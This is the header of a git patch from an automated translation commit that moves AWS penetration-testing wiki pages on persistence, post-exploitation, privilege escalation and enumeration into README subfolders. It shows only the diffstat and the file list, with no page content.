From b64547f3e69f80ab7474e098c0dbfa5d94fdb2aa Mon Sep 17 00:00:00 2001
From: Translator <github-actions@github.com>
Date: Tue, 14 Oct 2025 01:34:26 +0000
Subject: [PATCH] Translated
 ['src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-p

---
 .../aws-api-gateway-persistence.md            |  32 -
 .../aws-api-gateway-persistence/README.md     |  32 +
 .../aws-cloudformation-persistence.md         |  23 -
 .../aws-cloudformation-persistence/README.md  |  23 +
 .../aws-cognito-persistence.md                |  40 --
 .../aws-cognito-persistence/README.md         |  40 ++
 .../README.md}                                |  22 +-
 .../aws-persistence/aws-ec2-persistence.md    |  54 --
 .../aws-ec2-persistence/README.md             |  62 ++
 .../README.md                                 |  75 +++
 .../aws-persistence/aws-ecr-persistence.md    |  91 ---
 .../aws-ecr-persistence/README.md             | 145 +++++
 .../aws-persistence/aws-ecs-persistence.md    |  93 ---
 .../aws-ecs-persistence/README.md             | 151 +++++
 .../aws-persistence/aws-efs-persistence.md    |  21 -
 .../aws-efs-persistence/README.md             |  21 +
 .../README.md}                                |  26 +-
 .../aws-persistence/aws-iam-persistence.md    |  47 --
 .../aws-iam-persistence/README.md             |  47 ++
 .../aws-persistence/aws-kms-persistence.md    |  37 --
 .../aws-kms-persistence/README.md             |  37 ++
 .../aws-lightsail-persistence.md              |  33 --
 .../aws-lightsail-persistence/README.md       |  33 ++
 .../aws-persistence/aws-rds-persistence.md    |  27 -
 .../aws-rds-persistence/README.md             |  27 +
 .../aws-persistence/aws-s3-persistence.md     |  25 -
 .../aws-s3-persistence/README.md              |  25 +
 .../aws-sagemaker-persistence.md              | 158 -----
 .../aws-sagemaker-persistence/README.md       | 230 ++++++++
 .../aws-secrets-manager-persistence.md        |  51 --
 .../aws-secrets-manager-persistence/README.md | 234 ++++++++
 .../aws-persistence/aws-sns-persistence.md    |  77 ---
 .../aws-sns-persistence/README.md             | 113 ++++
 .../aws-persistence/aws-sqs-persistence.md    |  37 --
 .../aws-sqs-persistence/README.md             |  47 ++
 .../aws-sqs-dlq-backdoor-persistence.md       |  71 +++
 .../aws-sqs-orgid-policy-backdoor.md          |  38 ++
 .../aws-persistence/aws-ssm-persistence.md    |  27 -
 .../aws-ssm-persistence/README.md             |  27 +
 .../aws-step-functions-persistence.md         |  21 -
 .../aws-step-functions-persistence/README.md  |  21 +
 .../README.md}                                |  34 +-
 .../README.md}                                |  68 +--
 .../aws-cloudfront-post-exploitation.md       |  31 -
 .../README.md                                 |  31 +
 .../aws-control-tower-post-exploitation.md    |  18 -
 .../README.md                                 |  18 +
 .../aws-dlm-post-exploitation.md              |  91 ---
 .../aws-dlm-post-exploitation/README.md       |  91 +++
 .../README.md}                                |  99 ++--
 .../README.md                                 | 159 +++--
 .../aws-ami-store-s3-exfiltration.md          | 137 +++++
 .../aws-ebs-multi-attach-data-theft.md        |  77 +++
 ...-ec2-instance-connect-endpoint-backdoor.md | 118 ++++
 .../aws-eip-hijack-impersonation.md           |  52 ++
 .../aws-eni-secondary-ip-hijack.md            |  50 ++
 .../aws-managed-prefix-list-backdoor.md       |  72 +++
 .../aws-vpc-endpoint-egress-bypass.md         |  68 +++
 ...pc-flow-logs-cross-account-exfiltration.md |  74 +++
 .../aws-ecr-post-exploitation.md              |  92 ---
 .../aws-ecr-post-exploitation/README.md       | 206 +++++++
 .../aws-ecs-post-exploitation.md              |  57 --
 .../aws-ecs-post-exploitation/README.md       | 128 ++++
 .../README.md}                                |  20 +-
 .../aws-eks-post-exploitation.md              | 143 -----
 .../aws-eks-post-exploitation/README.md       | 143 +++++
 ...aws-elastic-beanstalk-post-exploitation.md |  70 ---
 .../README.md                                 |  70 +++
 .../README.md}                                |  43 +-
 .../README.md}                                |  58 +-
 .../aws-lightsail-post-exploitation.md        |  30 -
 .../aws-lightsail-post-exploitation/README.md |  30 +
 .../aws-organizations-post-exploitation.md    |  17 -
 .../README.md                                 |  17 +
 .../README.md}                                | 123 ++--
 .../aws-s3-post-exploitation.md               |  38 --
 .../aws-s3-post-exploitation/README.md        |  38 ++
 .../aws-sagemaker-post-exploitation/README.md | 177 ++++++
 .../feature-store-poisoning.md                |  50 ++
 .../aws-secrets-manager-post-exploitation.md  | 130 -----
 .../README.md                                 | 132 +++++
 .../README.md}                                |  32 +-
 .../README.md}                                |  50 +-
 .../aws-sns-data-protection-bypass.md         |  92 +++
 .../aws-sns-fifo-replay-exfil.md              | 100 ++++
 .../aws-sns-firehose-exfil.md                 |  76 +++
 .../aws-sqs-dlq-redrive-exfiltration.md       | 150 +++++
 .../aws-sqs-post-exploitation.md              |  73 ---
 .../aws-sqs-post-exploitation/README.md       |  83 +++
 .../aws-sqs-dlq-redrive-exfiltration.md       | 154 +++++
 .../aws-sqs-sns-injection.md                  |  54 ++
 .../README.md}                                |  10 +-
 .../aws-stepfunctions-post-exploitation.md    | 184 ------
 .../README.md                                 | 185 ++++++
 .../README.md}                                |  31 +-
 .../aws-vpn-post-exploitation.md              |  13 -
 .../aws-vpn-post-exploitation/README.md       |  13 +
 .../README.md}                                |  46 +-
 .../README.md}                                |  18 +-
 .../aws-chime-privesc.md                      |   9 -
 .../aws-chime-privesc/README.md               |   9 +
 .../README.md}                                |  52 +-
 .../aws-codepipeline-privesc.md               |  37 --
 .../aws-codepipeline-privesc/README.md        |  37 ++
 .../aws-cognito-privesc.md                    | 274 ---------
 .../aws-cognito-privesc/README.md             | 274 +++++++++
 .../README.md}                                |  20 +-
 .../aws-directory-services-privesc.md         |  32 -
 .../aws-directory-services-privesc/README.md  |  32 +
 .../aws-dynamodb-privesc.md                   |  72 ---
 .../aws-dynamodb-privesc/README.md            |  72 +++
 .../aws-ebs-privesc.md                        |  27 -
 .../aws-ebs-privesc/README.md                 |  27 +
 .../aws-ec2-privesc.md                        | 261 ---------
 .../aws-ec2-privesc/README.md                 | 300 ++++++++++
 .../aws-ecr-privesc.md                        | 100 ----
 .../aws-ecr-privesc/README.md                 | 268 +++++++++
 .../aws-ecs-privesc.md                        | 327 -----------
 .../aws-ecs-privesc/README.md                 | 551 ++++++++++++++++++
 .../aws-efs-privesc.md                        |  86 ---
 .../aws-efs-privesc/README.md                 |  86 +++
 .../README.md}                                |  30 +-
 .../aws-emr-privesc.md                        |  62 --
 .../aws-emr-privesc/README.md                 |  62 ++
 .../aws-privilege-escalation/aws-gamelift.md  |  16 -
 .../aws-gamelift/README.md                    |  16 +
 .../README.md}                                |  24 +-
 .../README.md}                                |  80 +--
 .../README.md}                                |  26 +-
 .../README.md}                                | 104 ++--
 .../README.md}                                |  50 +-
 .../aws-macie-privesc.md                      |  38 --
 .../aws-macie-privesc/README.md               |  38 ++
 .../README.md}                                |   8 +-
 .../aws-mq-privesc.md                         |  43 --
 .../aws-mq-privesc/README.md                  |  43 ++
 .../aws-msk-privesc.md                        |  22 -
 .../aws-msk-privesc/README.md                 |  22 +
 .../aws-organizations-prinvesc.md             |  18 -
 .../aws-organizations-prinvesc/README.md      |  18 +
 .../README.md}                                |  58 +-
 .../README.md}                                |  32 +-
 .../README.md}                                |  42 +-
 .../aws-sagemaker-privesc.md                  | 106 ----
 .../aws-sagemaker-privesc/README.md           | 260 +++++++++
 .../README.md}                                |  12 +-
 .../aws-sns-privesc.md                        |  37 --
 .../aws-sns-privesc/README.md                 |  80 +++
 .../aws-sqs-privesc.md                        |  40 --
 .../aws-sqs-privesc/README.md                 |  40 ++
 .../aws-ssm-privesc.md                        | 130 -----
 .../aws-ssm-privesc/README.md                 | 130 +++++
 .../README.md}                                |  42 +-
 .../README.md}                                |  48 +-
 .../aws-sts-privesc.md                        | 136 -----
 .../aws-sts-privesc/README.md                 | 136 +++++
 .../README.md}                                |  18 +-
 .../README.md}                                |  14 +-
 ...acm-pca-issuecertificate-acm-pca-getcer.md |  32 -
 .../README.md                                 |  32 +
 .../README.md}                                |  16 +-
 .../aws-services/aws-sagemaker-enum/README.md | 202 +++++++
 .../aws-accounts-unauthenticated-enum.md      |  43 --
 .../README.md                                 |  43 ++
 .../aws-api-gateway-unauthenticated-enum.md   |  52 --
 .../README.md                                 |  52 ++
 .../README.md}                                |   4 +-
 .../aws-codebuild-unauthenticated-access.md   |  33 --
 .../README.md                                 |  33 ++
 .../aws-cognito-unauthenticated-enum.md       |  44 --
 .../README.md                                 |  44 ++
 .../aws-documentdb-enum.md                    |   9 -
 .../aws-documentdb-enum/README.md             |   9 +
 .../aws-dynamodb-unauthenticated-access.md    |  15 -
 .../README.md                                 |  15 +
 .../README.md}                                |  20 +-
 .../README.md}                                |  12 +-
 .../aws-ecs-unauthenticated-enum.md           |  23 -
 .../aws-ecs-unauthenticated-enum/README.md    |  23 +
 ...-elastic-beanstalk-unauthenticated-enum.md |  35 --
 .../README.md                                 |  35 ++
 .../README.md}                                |   4 +-
 .../README.md}                                |  46 +-
 ...ity-center-and-sso-unauthenticated-enum.md | 123 ----
 .../README.md                                 | 123 ++++
 .../aws-iot-unauthenticated-enum.md           |  11 -
 .../aws-iot-unauthenticated-enum/README.md    |  11 +
 .../README.md}                                |   4 +-
 .../aws-lambda-unauthenticated-access.md      |  20 -
 .../README.md                                 |  20 +
 .../README.md}                                |   8 +-
 .../aws-mq-unauthenticated-enum.md            |  20 -
 .../aws-mq-unauthenticated-enum/README.md     |  20 +
 .../aws-msk-unauthenticated-enum.md           |  16 -
 .../aws-msk-unauthenticated-enum/README.md    |  16 +
 .../README.md}                                |  16 +-
 .../aws-redshift-unauthenticated-enum.md      |   9 -
 .../README.md                                 |   9 +
 .../README.md}                                | 102 ++--
 .../README.md                                 | 108 ++++
 .../aws-sns-unauthenticated-enum.md           |  21 -
 .../aws-sns-unauthenticated-enum/README.md    |  55 ++
 .../aws-sqs-unauthenticated-enum.md           |  21 -
 .../aws-sqs-unauthenticated-enum/README.md    |  21 +
 204 files changed, 8464 insertions(+), 5105 deletions(-)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md
 rename src/pentesting-cloud/aws-security/aws-persistence/{aws-dynamodb-persistence.md => aws-dynamodb-persistence/README.md} (60%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md
 rename src/pentesting-cloud/aws-security/aws-persistence/{aws-elastic-beanstalk-persistence.md => aws-elastic-beanstalk-persistence/README.md} (57%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md
 rename src/pentesting-cloud/aws-security/aws-persistence/{aws-sts-persistence.md => aws-sts-persistence/README.md} (63%)
 rename src/pentesting-cloud/aws-security/aws-post-exploitation/{aws-api-gateway-post-exploitation.md => aws-api-gateway-post-exploitation/README.md} (52%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md
 rename src/pentesting-cloud/aws-security/aws-post-exploitation/{aws-dynamodb-post-exploitation.md => aws-dynamodb-post-exploitation/README.md} (69%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md
 rename src/pentesting-cloud/aws-security/aws-post-exploitation/{aws-efs-post-exploitation.md => aws-efs-post-exploitation/README.md} (57%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md
 rename src/pentesting-cloud/aws-security/aws-post-exploitation/{aws-iam-post-exploitation.md => aws-iam-post-exploitation/README.md} (56%)
 rename src/pentesting-cloud/aws-security/aws-post-exploitation/{aws-kms-post-exploitation.md => aws-kms-post-exploitation/README.md} (51%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md
 rename src/pentesting-cloud/aws-security/aws-post-exploitation/{aws-rds-post-exploitation.md => aws-rds-post-exploitation/README.md} (77%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md
 rename src/pentesting-cloud/aws-security/aws-post-exploitation/{aws-ses-post-exploitation.md => aws-ses-post-exploitation/README.md} (60%)
 rename src/pentesting-cloud/aws-security/aws-post-exploitation/{aws-sns-post-exploitation.md => aws-sns-post-exploitation/README.md} (50%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md
 rename src/pentesting-cloud/aws-security/aws-post-exploitation/{aws-sso-and-identitystore-post-exploitation.md => aws-sso-and-identitystore-post-exploitation/README.md} (77%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md
 rename src/pentesting-cloud/aws-security/aws-post-exploitation/{aws-sts-post-exploitation.md => aws-sts-post-exploitation/README.md} (61%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-apigateway-privesc.md => aws-apigateway-privesc/README.md} (58%)
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-apprunner-privesc.md => aws-apprunner-privesc/README.md} (65%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-codebuild-privesc.md => aws-codebuild-privesc/README.md} (76%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-datapipeline-privesc.md => aws-datapipeline-privesc/README.md} (59%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-elastic-beanstalk-privesc.md => aws-elastic-beanstalk-privesc/README.md} (68%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-glue-privesc.md => aws-glue-privesc/README.md} (55%)
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-iam-privesc.md => aws-iam-privesc/README.md} (55%)
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-kms-privesc.md => aws-kms-privesc/README.md} (58%)
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-lambda-privesc.md => aws-lambda-privesc/README.md} (55%)
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-lightsail-privesc.md => aws-lightsail-privesc/README.md} (53%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-mediapackage-privesc.md => aws-mediapackage-privesc/README.md} (62%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-rds-privesc.md => aws-rds-privesc/README.md} (50%)
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-redshift-privesc.md => aws-redshift-privesc/README.md} (58%)
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-s3-privesc.md => aws-s3-privesc/README.md} (53%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-secrets-manager-privesc.md => aws-secrets-manager-privesc/README.md} (65%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-sso-and-identitystore-privesc.md => aws-sso-and-identitystore-privesc/README.md} (58%)
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-stepfunctions-privesc.md => aws-stepfunctions-privesc/README.md} (54%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-workdocs-privesc.md => aws-workdocs-privesc/README.md} (74%)
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{eventbridgescheduler-privesc.md => eventbridgescheduler-privesc/README.md} (60%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md
 rename src/pentesting-cloud/aws-security/aws-services/{aws-documentdb-enum.md => aws-documentdb-enum/README.md} (54%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md
 rename src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/{aws-cloudfront-unauthenticated-enum.md => aws-cloudfront-unauthenticated-enum/README.md} (50%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md
 rename src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/{aws-ec2-unauthenticated-enum.md => aws-ec2-unauthenticated-enum/README.md} (57%)
 rename src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/{aws-ecr-unauthenticated-enum.md => aws-ecr-unauthenticated-enum/README.md} (65%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md
